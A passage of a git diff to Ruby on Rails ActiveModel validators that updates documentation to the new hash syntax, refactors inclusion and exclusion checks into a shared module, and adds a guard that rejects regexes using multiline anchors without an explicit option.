+      # the confirmation attribute:
       #
-      #   validates_presence_of :password_confirmation, :if => :password_changed?
+      #   validates_presence_of :password_confirmation, if: :password_changed?
       #
       # Configuration options:
       # * <tt>:message</tt> - A custom error message (default is: "doesn't match
       #   confirmation").
-      # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
-      #   validation contexts by default (+nil+), other options are <tt>:create</tt>
-      #   and <tt>:update</tt>.
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
-      #   if the validation should occur (e.g. <tt>:if => :allow_validation</tt>,
-      #   or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a true or false
-      #   value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to
-      #   determine if the validation should not occur (e.g.
-      #   <tt>:unless => :skip_validation</tt>, or
-      #   <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:strict</tt> - Specifies whether validation should be strict. 
-      #   See <tt>ActiveModel::Validation#validates!</tt> for more information
+      #
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+ and +:strict+.
+      # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_confirmation_of(*attr_names)
         validates_with ConfirmationValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/exclusion.rb b/activemodel/lib/active_model/validations/exclusion.rb
index 644cc814a7..dc3368c569 100644
--- a/activemodel/lib/active_model/validations/exclusion.rb
+++ b/activemodel/lib/active_model/validations/exclusion.rb
@@ -1,66 +1,47 @@
-require 'active_support/core_ext/range'
+require "active_model/validations/clusivity"
 
 module ActiveModel
 
   # == Active Model Exclusion Validator
   module Validations
-    class ExclusionValidator < EachValidator
-      ERROR_MESSAGE = "An object with the method #include? or a proc or lambda is required, " <<
-                      "and must be supplied as the :in option of the configuration hash"
-
-      def check_validity!
-        unless [:include?, :call].any? { |method| options[:in].respond_to?(method) }
-          raise ArgumentError, ERROR_MESSAGE
-        end
-      end
+    class ExclusionValidator < EachValidator #:nodoc:
+      include Clusivity
 
       def validate_each(record, attribute, value)
-        delimiter = options[:in]
-        exclusions = delimiter.respond_to?(:call) ? delimiter.call(record) : delimiter
-        if exclusions.send(inclusion_method(exclusions), value)
-          record.errors.add(attribute, :exclusion, options.except(:in).merge!(:value => value))
+        if include?(record, value)
+          record.errors.add(attribute, :exclusion, options.except(:in, :within).merge!(:value => value))
         end
       end
-
-    private
-
-      # In Ruby 1.9 <tt>Range#include?</tt> on non-numeric ranges checks all possible values in the
-      # range for equality, so it may be slow for large ranges. The new <tt>Range#cover?</tt>
-      # uses the previous logic of comparing a value with the range endpoints.
-      def inclusion_method(enumerable)
-        enumerable.is_a?(Range) ? :cover? : :include?
-      end
     end
 
     module HelperMethods
-      # Validates that the value of the specified attribute is not in a particular enumerable object.
+      # Validates that the value of the specified attribute is not in a
+      # particular enumerable object.
       #
       #   class Person < ActiveRecord::Base
-      #     validates_exclusion_of :username, :in => %w( admin superuser ), :message => "You don't belong here"
-      #     validates_exclusion_of :age, :in => 30..60, :message => "This site is only for under 30 and over 60"
-      #     validates_exclusion_of :format, :in => %w( mov avi ), :message => "extension %{value} is not allowed"
-      #     validates_exclusion_of :password, :in => lambda { |p| [p.username, p.first_name] }, :message => "should not be the same as your username or first name"
+      #     validates_exclusion_of :username, in: %w( admin superuser ), message: "You don't belong here"
+      #     validates_exclusion_of :age, in: 30..60, message: 'This site is only for under 30 and over 60'
+      #     validates_exclusion_of :format, in: %w( mov avi ), message: "extension %{value} is not allowed"
+      #     validates_exclusion_of :password, in: ->(person) { [person.username, person.first_name] },
+      #                            message: 'should not be the same as your username or first name'
       #   end
       #
       # Configuration options:
-      # * <tt>:in</tt> - An enumerable object of items that the value shouldn't be part of.
-      #   This can be supplied as a proc or lambda which returns an enumerable. If the enumerable
-      #   is a range the test is performed with <tt>Range#cover?</tt>
-      #   (backported in Active Support for 1.8), otherwise with <tt>include?</tt>.
-      # * <tt>:message</tt> - Specifies a custom error message (default is: "is reserved").
-      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the attribute is +nil+ (default is +false+).
-      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the attribute is blank (default is +false+).
-      # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
-      #   validation contexts by default (+nil+), other options are <tt>:create</tt>
-      #   and <tt>:update</tt>.
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:strict</tt> - Specifies whether validation should be strict. 
-      #   See <tt>ActiveModel::Validation#validates!</tt> for more information
+      # * <tt>:in</tt> - An enumerable object of items that the value shouldn't
+      #   be part of. This can be supplied as a proc or lambda which returns an
+      #   enumerable. If the enumerable is a range the test is performed with
+      # * <tt>:within</tt> - A synonym(or alias) for <tt>:in</tt>
+      #   <tt>Range#cover?</tt>, otherwise with <tt>include?</tt>.
+      # * <tt>:message</tt> - Specifies a custom error message (default is: "is
+      #   reserved").
+      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the
+      #   attribute is +nil+ (default is +false+).
+      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the
+      #   attribute is blank(default is +false+).
+      #
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+ and +:strict+.
+      # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_exclusion_of(*attr_names)
         validates_with ExclusionValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/format.rb b/activemodel/lib/active_model/validations/format.rb
index d3faa8c6a6..80150229a0 100644
--- a/activemodel/lib/active_model/validations/format.rb
+++ b/activemodel/lib/active_model/validations/format.rb
@@ -2,7 +2,7 @@ module ActiveModel
 
   # == Active Model Format Validator
   module Validations
-    class FormatValidator < EachValidator
+    class FormatValidator < EachValidator #:nodoc:
       def validate_each(record, attribute, value)
         if options[:with]
           regexp = option_call(record, :with)
@@ -33,59 +33,81 @@ module ActiveModel
         record.errors.add(attribute, :invalid, options.except(name).merge!(:value => value))
       end
 
+      def regexp_using_multiline_anchors?(regexp)
+        regexp.source.start_with?("^") ||
+          (regexp.source.end_with?("$") && !regexp.source.end_with?("\\$"))
+      end
+
       def check_options_validity(options, name)
         option = options[name]
         if option && !option.is_a?(Regexp) && !option.respond_to?(:call)
           raise ArgumentError, "A regular expression or a proc or lambda must be supplied as :#{name}"
+        elsif option && option.is_a?(Regexp) &&
+              regexp_using_multiline_anchors?(option) && options[:multiline] != true
+          raise ArgumentError, "The provided regular expression is using multiline anchors (^ or $), " \
+          "which may present a security risk. Did you mean to use \\A and \\z, or forgot to add the " \
+          ":multiline => true option?"
         end
       end
     end
 
     module HelperMethods
-      # Validates whether the value of the specified attribute is of the correct form, going by the regular expression provided.
-      # You can require that the attribute matches the regular expression:
+      # Validates whether the value of the specified attribute is of the correct
+      # form, going by the regular expression provided.You can require that the
+      # attribute matches the regular expression:
       #
       #   class Person < ActiveRecord::Base
-      #     validates_format_of :email, :with => /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i, :on => :create
+      #     validates_format_of :email, with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i, on: :create
       #   end
       #
-      # Alternatively, you can require that the specified attribute does _not_ match the regular expression:
+      # Alternatively, you can require that the specified attribute does _not_
+      # match the regular expression:
       #
       #   class Person < ActiveRecord::Base
-      #     validates_format_of :email, :without => /NOSPAM/
+      #     validates_format_of :email, without: /NOSPAM/
       #   end
       #
-      # You can also provide a proc or lambda which will determine the regular expression that will be used to validate the attribute
+      # You can also provide a proc or lambda which will determine the regular
+      # expression that will be used to validate the attribute.
       #
       #   class Person < ActiveRecord::Base
       #     # Admin can have number as a first letter in their screen name
-      #     validates_format_of :screen_name, :with => lambda{ |person| person.admin? ? /\A[a-z0-9][a-z0-9_\-]*\Z/i : /\A[a-z][a-z0-9_\-]*\Z/i }
+      #     validates_format_of :screen_name,
+      #                         with: ->(person) { person.admin? ? /\A[a-z0-9][a-z0-9_\-]*\z/i : /\A[a-z][a-z0-9_\-]*\z/i }
       #   end
       #
-      # Note: use <tt>\A</tt> and <tt>\Z</tt> to match the start and end of the string, <tt>^</tt> and <tt>$</tt> match the start/end of a line.
+      # Note: use <tt>\A</tt> and <tt>\Z</tt> to match the start and end of the
+      # string, <tt>^</tt> and <tt>$</tt> match the start/end of a line.
       #
-      # You must pass either <tt>:with</tt> or <tt>:without</tt> as an option. In addition, both must be a regular expression
-      # or a proc or lambda, or else an exception will be raised.
+      # Due to frequent misuse of <tt>^</tt> and <tt>$</tt>, you need to pass
+      # the <tt>multiline: true</tt> option in case you use any of these two
+      # anchors in the provided regular expression. In most cases, you should be
+      # using <tt>\A</tt> and <tt>\z</tt>.
+      #
+      # You must pass either <tt>:with</tt> or <tt>:without</tt> as an option.
+      # In addition, both must be a regular expression or a proc or lambda, or
+      # else an exception will be raised.
       #
       # Configuration options:
       # * <tt>:message</tt> - A custom error message (default is: "is invalid").
-      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the attribute is +nil+ (default is +false+).
-      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the attribute is blank (default is +false+).
-      # * <tt>:with</tt> - Regular expression that if the attribute matches will result in a successful validation.
-      #   This can be provided as a proc or lambda returning regular expression which will be called at runtime.
-      # * <tt>:without</tt> - Regular expression that if the attribute does not match will result in a successful validation.
-      #   This can be provided as a proc or lambda returning regular expression which will be called at runtime.
-      # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
-      #   validation contexts by default (+nil+), other options are <tt>:create</tt>
-      #   and <tt>:update</tt>.
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:strict</tt> - Specifies whether validation should be strict. 
-      #   See <tt>ActiveModel::Validation#validates!</tt> for more information
+      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the
+      #   attribute is +nil+ (default is +false+).
+      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the
+      #   attribute is blank (default is +false+).
+      # * <tt>:with</tt> - Regular expression that if the attribute matches will
+      #   result in a successful validation. This can be provided as a proc or
+      #   lambda returning regular expression which will be called at runtime.
+      # * <tt>:without</tt> - Regular expression that if the attribute does not
+      #   match will result in a successful validation. This can be provided as
+      #   a proc or lambda returning regular expression which will be called at
+      #   runtime.
+      # * <tt>:multiline</tt> - Set to true if your regular expression contains
+      #   anchors that match the beginning or end of lines as opposed to the
+      #   beginning or end of the string. These anchors are <tt>^</tt> and <tt>$</tt>.
+      #
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+ and +:strict+.
+      # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_format_of(*attr_names)
         validates_with FormatValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/inclusion.rb b/activemodel/lib/active_model/validations/inclusion.rb
index 147e2ecb69..c2835c550b 100644
--- a/activemodel/lib/active_model/validations/inclusion.rb
+++ b/activemodel/lib/active_model/validations/inclusion.rb
@@ -1,66 +1,46 @@
-require 'active_support/core_ext/range'
+require "active_model/validations/clusivity"
 
 module ActiveModel
 
   # == Active Model Inclusion Validator
   module Validations
-    class InclusionValidator < EachValidator
-      ERROR_MESSAGE = "An object with the method #include? or a proc or lambda is required, " <<
-                      "and must be supplied as the :in option of the configuration hash"
-
-      def check_validity!
-        unless [:include?, :call].any?{ |method| options[:in].respond_to?(method) }
-          raise ArgumentError, ERROR_MESSAGE
-        end
-      end
+    class InclusionValidator < EachValidator #:nodoc:
+      include Clusivity
 
       def validate_each(record, attribute, value)
-        delimiter = options[:in]
-        exclusions = delimiter.respond_to?(:call) ? delimiter.call(record) : delimiter
-        unless exclusions.send(inclusion_method(exclusions), value)
-          record.errors.add(attribute, :inclusion, options.except(:in).merge!(:value => value))
+        unless include?(record, value)
+          record.errors.add(attribute, :inclusion, options.except(:in, :within).merge!(:value => value))
         end
       end
-
-    private
-
-      # In Ruby 1.9 <tt>Range#include?</tt> on non-numeric ranges checks all possible values in the
-      # range for equality, so it may be slow for large ranges. The new <tt>Range#cover?</tt>
-      # uses the previous logic of comparing a value with the range endpoints.
-      def inclusion_method(enumerable)
-        enumerable.is_a?(Range) ? :cover? : :include?
-      end
     end
 
     module HelperMethods
-      # Validates whether the value of the specified attribute is available in a particular enumerable object.
+      # Validates whether the value of the specified attribute is available in a
+      # particular enumerable object.
       #
       #   class Person < ActiveRecord::Base
-      #     validates_inclusion_of :gender, :in => %w( m f )
-      #     validates_inclusion_of :age, :in => 0..99
-      #     validates_inclusion_of :format, :in => %w( jpg gif png ), :message => "extension %{value} is not included in the list"
-      #     validates_inclusion_of :states, :in => lambda{ |person| STATES[person.country] }
+      #     validates_inclusion_of :gender, in: %w( m f )
+      #     validates_inclusion_of :age, in: 0..99
+      #     validates_inclusion_of :format, in: %w( jpg gif png ), message: "extension %{value} is not included in the list"
+      #     validates_inclusion_of :states, in: ->(person) { STATES[person.country] }
       #   end
       #
       # Configuration options:
       # * <tt>:in</tt> - An enumerable object of available items. This can be
-      #   supplied as a proc or lambda which returns an enumerable. If the enumerable
-      #   is a range the test is performed with <tt>Range#cover?</tt>
-      #   (backported in Active Support for 1.8), otherwise with <tt>include?</tt>.
-      # * <tt>:message</tt> - Specifies a custom error message (default is: "is not included in the list").
-      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the attribute is +nil+ (default is +false+).
-      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the attribute is blank (default is +false+).
-      # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
-      #   validation contexts by default (+nil+), other options are <tt>:create</tt>
-      #   and <tt>:update</tt>.
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:strict</tt> - Specifies whether validation should be strict. 
-      #   See <tt>ActiveModel::Validation#validates!</tt> for more information
+      #   supplied as a proc or lambda which returns an enumerable. If the
+      #   enumerable is a range the test is performed with <tt>Range#cover?</tt>,
+      #   otherwise with <tt>include?</tt>.
+      # * <tt>:within</tt> - A synonym(or alias) for <tt>:in</tt>
+      # * <tt>:message</tt> - Specifies a custom error message (default is: "is
+      #   not included in the list").
+      # * <tt>:allow_nil</tt> - If set to +true+, skips this validation if the
+      #   attribute is +nil+ (default is +false+).
+      # * <tt>:allow_blank</tt> - If set to +true+, skips this validation if the
+      #   attribute is blank (default is +false+).
+      #
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+ and +:strict+.
+      # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_inclusion_of(*attr_names)
         validates_with InclusionValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/length.rb b/activemodel/lib/active_model/validations/length.rb
index eb7aac709d..e4a1f9e80a 100644
--- a/activemodel/lib/active_model/validations/length.rb
+++ b/activemodel/lib/active_model/validations/length.rb
@@ -2,18 +2,16 @@ module ActiveModel
 
   # == Active Model Length Validator
   module Validations
-    class LengthValidator < EachValidator
+    class LengthValidator < EachValidator #:nodoc:
       MESSAGES  = { :is => :wrong_length, :minimum => :too_short, :maximum => :too_long }.freeze
       CHECKS    = { :is => :==, :minimum => :>=, :maximum => :<= }.freeze
 
-      DEFAULT_TOKENIZER = lambda { |value| value.split(//) }
       RESERVED_OPTIONS  = [:minimum, :maximum, :within, :is, :tokenizer, :too_short, :too_long]
 
       def initialize(options)
         if range = (options.delete(:in) || options.delete(:within))
           raise ArgumentError, ":in and :within must be a Range" unless range.is_a?(Range)
-          options[:minimum], options[:maximum] = range.begin, range.end
-          options[:maximum] -= 1 if range.exclude_end?
+          options[:minimum], options[:maximum] = range.min, range.max
         end
 
         super
@@ -23,30 +21,27 @@ module ActiveModel
         keys = CHECKS.keys & options.keys
 
         if keys.empty?
-          raise ArgumentError, 'Range unspecified. Specify the :within, :maximum, :minimum, or :is option.'
+          raise ArgumentError, 'Range unspecified. Specify the :in, :within, :maximum, :minimum, or :is option.'
         end
 
         keys.each do |key|
           value = options[key]
 
-          unless value.is_a?(Integer) && value >= 0
-            raise ArgumentError, ":#{key} must be a nonnegative Integer"
+          unless (value.is_a?(Integer) && value >= 0) || value == Float::INFINITY
+            raise ArgumentError, ":#{key} must be a nonnegative Integer or Infinity"
           end
         end
       end
 
       def validate_each(record, attribute, value)
-        value = (options[:tokenizer] || DEFAULT_TOKENIZER).call(value) if value.kind_of?(String)
-
+        value = tokenize(value)
+        value_length = value.respond_to?(:length) ? value.length : value.to_s.length
+        errors_options = options.except(*RESERVED_OPTIONS)
+        
         CHECKS.each do |key, validity_check|
           next unless check_value = options[key]
-
-          value ||= [] if key == :maximum
-
-          value_length = value.respond_to?(:length) ? value.length : value.to_s.length
           next if value_length.send(validity_check, check_value)
 
-          errors_options = options.except(*RESERVED_OPTIONS)
           errors_options[:count] = check_value
 
           default_message = options[MESSAGES[key]]
@@ -55,49 +50,60 @@ module ActiveModel
           record.errors.add(attribute, MESSAGES[key], errors_options)
         end
       end
+
+      private
+
+      def tokenize(value)
+        if options[:tokenizer] && value.kind_of?(String)
+          options[:tokenizer].call(value)
+        end || value
+      end
     end
 
     module HelperMethods
 
-      # Validates that the specified attribute matches the length restrictions supplied. Only one option can be used at a time:
+      # Validates that the specified attribute matches the length restrictions
+      # supplied. Only one option can be used at a time:
       #
       #   class Person < ActiveRecord::Base
-      #     validates_length_of :first_name, :maximum => 30
-      #     validates_length_of :last_name, :maximum => 30, :message => "less than 30 if you don't mind"
-      #     validates_length_of :fax, :in => 7..32, :allow_nil => true
-      #     validates_length_of :phone, :in => 7..32, :allow_blank => true
-      #     validates_length_of :user_name, :within => 6..20, :too_long => "pick a shorter name", :too_short => "pick a longer name"
-      #     validates_length_of :zip_code, :minimum => 5, :too_short => "please enter at least 5 characters"
-      #     validates_length_of :smurf_leader, :is => 4, :message => "papa is spelled with 4 characters... don't play me."
-      #     validates_length_of :essay, :minimum => 100, :too_short => "Your essay must be at least 100 words.", :tokenizer => lambda { |str| str.scan(/\w+/) }
+      #     validates_length_of :first_name, maximum: 30
+      #     validates_length_of :last_name, maximum: 30, message: "less than 30 if you don't mind"
+      #     validates_length_of :fax, in: 7..32, allow_nil: true
+      #     validates_length_of :phone, in: 7..32, allow_blank: true
+      #     validates_length_of :user_name, within: 6..20, too_long: 'pick a shorter name', too_short: 'pick a longer name'
+      #     validates_length_of :zip_code, minimum: 5, too_short: 'please enter at least 5 characters'
+      #     validates_length_of :smurf_leader, is: 4, message: "papa is spelled with 4 characters... don't play me."
+      #     validates_length_of :essay, minimum: 100, too_short: 'Your essay must be at least 100 words.',
+      #                         tokenizer: ->(str) { str.scan(/\w+/) }
       #   end
       #
       # Configuration options:
       # * <tt>:minimum</tt> - The minimum size of the attribute.
       # * <tt>:maximum</tt> - The maximum size of the attribute.
       # * <tt>:is</tt> - The exact size of the attribute.
-      # * <tt>:within</tt> - A range specifying the minimum and maximum size of the attribute.
-      # * <tt>:in</tt> - A synonym(or alias) for <tt>:within</tt>.
+      # * <tt>:within</tt> - A range specifying the minimum and maximum size of
+      #   the attribute.
+      # * <tt>:in</tt> - A synonym (or alias) for <tt>:within</tt>.
       # * <tt>:allow_nil</tt> - Attribute may be +nil+; skip validation.
       # * <tt>:allow_blank</tt> - Attribute may be blank; skip validation.
-      # * <tt>:too_long</tt> - The error message if the attribute goes over the maximum (default is: "is too long (maximum is %{count} characters)").
-      # * <tt>:too_short</tt> - The error message if the attribute goes under the minimum (default is: "is too short (min is %{count} characters)").
-      # * <tt>:wrong_length</tt> - The error message if using the <tt>:is</tt> method and the attribute is the wrong size (default is: "is the wrong length (should be %{count} characters)").
-      # * <tt>:message</tt> - The error message to use for a <tt>:minimum</tt>, <tt>:maximum</tt>, or <tt>:is</tt> violation. An alias of the appropriate <tt>too_long</tt>/<tt>too_short</tt>/<tt>wrong_length</tt> message.
-      # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
-      #   validation contexts by default (+nil+), other options are <tt>:create</tt>
-      #   and <tt>:update</tt>.
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:tokenizer</tt> - Specifies how to split up the attribute string. (e.g. <tt>:tokenizer => lambda {|str| str.scan(/\w+/)}</tt> to
-      #   count words as in above example.)
-      #   Defaults to <tt>lambda{ |value| value.split(//) }</tt> which counts individual characters.
-      # * <tt>:strict</tt> - Specifies whether validation should be strict. 
-      #   See <tt>ActiveModel::Validation#validates!</tt> for more information
+      # * <tt>:too_long</tt> - The error message if the attribute goes over the
+      #   maximum (default is: "is too long (maximum is %{count} characters)").
+      # * <tt>:too_short</tt> - The error message if the attribute goes under the
+      #   minimum (default is: "is too short (min is %{count} characters)").
+      # * <tt>:wrong_length</tt> - The error message if using the <tt>:is</tt>
+      #   method and the attribute is the wrong size (default is: "is the wrong
+      #   length (should be %{count} characters)").
+      # * <tt>:message</tt> - The error message to use for a <tt>:minimum</tt>,
+      #   <tt>:maximum</tt>, or <tt>:is</tt> violation. An alias of the appropriate
+      #   <tt>too_long</tt>/<tt>too_short</tt>/<tt>wrong_length</tt> message.
+      # * <tt>:tokenizer</tt> - Specifies how to split up the attribute string.
+      #   (e.g. <tt>tokenizer: ->(str) { str.scan(/\w+/) }</tt> to count words
+      #   as in above example). Defaults to <tt>->(value) { value.split(//) }</tt>
+      #   which counts individual characters.
+      #
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+ and +:strict+.
+      # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_length_of(*attr_names)
         validates_with LengthValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/numericality.rb b/activemodel/lib/active_model/validations/numericality.rb
index 34d447a0fa..edebca94a8 100644
--- a/activemodel/lib/active_model/validations/numericality.rb
+++ b/activemodel/lib/active_model/validations/numericality.rb
@@ -2,10 +2,10 @@ module ActiveModel
 
   # == Active Model Numericality Validator
   module Validations
-    class NumericalityValidator < EachValidator
+    class NumericalityValidator < EachValidator #:nodoc:
       CHECKS = { :greater_than => :>, :greater_than_or_equal_to => :>=,
                  :equal_to => :==, :less_than => :<, :less_than_or_equal_to => :<=,
-                 :odd => :odd?, :even => :even? }.freeze
+                 :odd => :odd?, :even => :even?, :other_than => :!= }.freeze
 
       RESERVED_OPTIONS = CHECKS.keys + [:only_integer]
 
@@ -79,49 +79,56 @@ module ActiveModel
     end
 
     module HelperMethods
-      # Validates whether the value of the specified attribute is numeric by trying to convert it to
-      # a float with Kernel.Float (if <tt>only_integer</tt> is false) or applying it to the regular expression
-      # <tt>/\A[\+\-]?\d+\Z/</tt> (if <tt>only_integer</tt> is set to true).
+      # Validates whether the value of the specified attribute is numeric by
+      # trying to convert it to a float with Kernel.Float (if <tt>only_integer</tt>
+      # is +false+) or applying it to the regular expression <tt>/\A[\+\-]?\d+\Z/</tt>
+      # (if <tt>only_integer</tt> is set to +true+).
       #
       #   class Person < ActiveRecord::Base
-      #     validates_numericality_of :value, :on => :create
+      #     validates_numericality_of :value, on: :create
       #   end
       #
       # Configuration options:
       # * <tt>:message</tt> - A custom error message (default is: "is not a number").
-      # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
-      #   validation contexts by default (+nil+), other options are <tt>:create</tt>
-      #   and <tt>:update</tt>.
-      # * <tt>:only_integer</tt> - Specifies whether the value has to be an integer, e.g. an integral value (default is +false+).
-      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+ (default is +false+). Notice that for fixnum and float columns empty strings are converted to +nil+.
-      # * <tt>:greater_than</tt> - Specifies the value must be greater than the supplied value.
-      # * <tt>:greater_than_or_equal_to</tt> - Specifies the value must be greater than or equal the supplied value.
-      # * <tt>:equal_to</tt> - Specifies the value must be equal to the supplied value.
-      # * <tt>:less_than</tt> - Specifies the value must be less than the supplied value.
-      # * <tt>:less_than_or_equal_to</tt> - Specifies the value must be less than or equal the supplied value.
+      # * <tt>:only_integer</tt> - Specifies whether the value has to be an
+      #   integer, e.g. an integral value (default is +false+).
+      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+ (default is
+      #   +false+). Notice that for fixnum and float columns empty strings are
+      #   converted to +nil+.
+      # * <tt>:greater_than</tt> - Specifies the value must be greater than the
+      #   supplied value.
+      # * <tt>:greater_than_or_equal_to</tt> - Specifies the value must be
+      #   greater than or equal the supplied value.
+      # * <tt>:equal_to</tt> - Specifies the value must be equal to the supplied
+      #   value.
+      # * <tt>:less_than</tt> - Specifies the value must be less than the
+      #   supplied value.
+      # * <tt>:less_than_or_equal_to</tt> - Specifies the value must be less
+      #   than or equal the supplied value.
+      # * <tt>:other_than</tt> - Specifies the value must be other than the
+      #   supplied value.
       # * <tt>:odd</tt> - Specifies the value must be an odd number.
       # * <tt>:even</tt> - Specifies the value must be an even number.
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:strict</tt> - Specifies whether validation should be strict. 
-      #   See <tt>ActiveModel::Validation#validates!</tt> for more information
       #
-      # The following checks can also be supplied with a proc or a symbol which corresponds to a method:
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+ and +:strict+ .
+      # See <tt>ActiveModel::Validation#validates</tt> for more information
+      #
+      # The following checks can also be supplied with a proc or a symbol which
+      # corresponds to a method:
+      #
       # * <tt>:greater_than</tt>
       # * <tt>:greater_than_or_equal_to</tt>
       # * <tt>:equal_to</tt>
       # * <tt>:less_than</tt>
       # * <tt>:less_than_or_equal_to</tt>
       #
+      # For example:
+      #
       #   class Person < ActiveRecord::Base
-      #     validates_numericality_of :width, :less_than => Proc.new { |person| person.height }
-      #     validates_numericality_of :width, :greater_than => :minimum_weight
+      #     validates_numericality_of :width, less_than: Proc.new { |person| person.height }
+      #     validates_numericality_of :width, greater_than: :minimum_weight
       #   end
-      #
       def validates_numericality_of(*attr_names)
         validates_with NumericalityValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/presence.rb b/activemodel/lib/active_model/validations/presence.rb
index 35af7152db..f159e40858 100644
--- a/activemodel/lib/active_model/validations/presence.rb
+++ b/activemodel/lib/active_model/validations/presence.rb
@@ -1,17 +1,17 @@
-require 'active_support/core_ext/object/blank'
 
 module ActiveModel
 
   # == Active Model Presence Validator
   module Validations
-    class PresenceValidator < EachValidator
+    class PresenceValidator < EachValidator #:nodoc:
       def validate(record)
         record.errors.add_on_blank(attributes, options)
       end
     end
 
     module HelperMethods
-      # Validates that the specified attributes are not blank (as defined by Object#blank?). Happens by default on save. Example:
+      # Validates that the specified attributes are not blank (as defined by
+      # Object#blank?). Happens by default on save.
       #
       #   class Person < ActiveRecord::Base
       #     validates_presence_of :first_name
@@ -19,25 +19,19 @@ module ActiveModel
       #
       # The first_name attribute must be in the object and it cannot be blank.
       #
-      # If you want to validate the presence of a boolean field (where the real values are true and false),
-      # you will want to use <tt>validates_inclusion_of :field_name, :in => [true, false]</tt>.
+      # If you want to validate the presence of a boolean field (where the real
+      # values are +true+ and +false+), you will want to use
+      # <tt>validates_inclusion_of :field_name, in: [true, false]</tt>.
       #
-      # This is due to the way Object#blank? handles boolean values: <tt>false.blank? # => true</tt>.
+      # This is due to the way Object#blank? handles boolean values:
+      # <tt>false.blank? # => true</tt>.
       #
       # Configuration options:
-      # * <tt>message</tt> - A custom error message (default is: "can't be blank").
-      # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
-      #   validation contexts by default (+nil+), other options are <tt>:create</tt>
-      #   and <tt>:update</tt>.
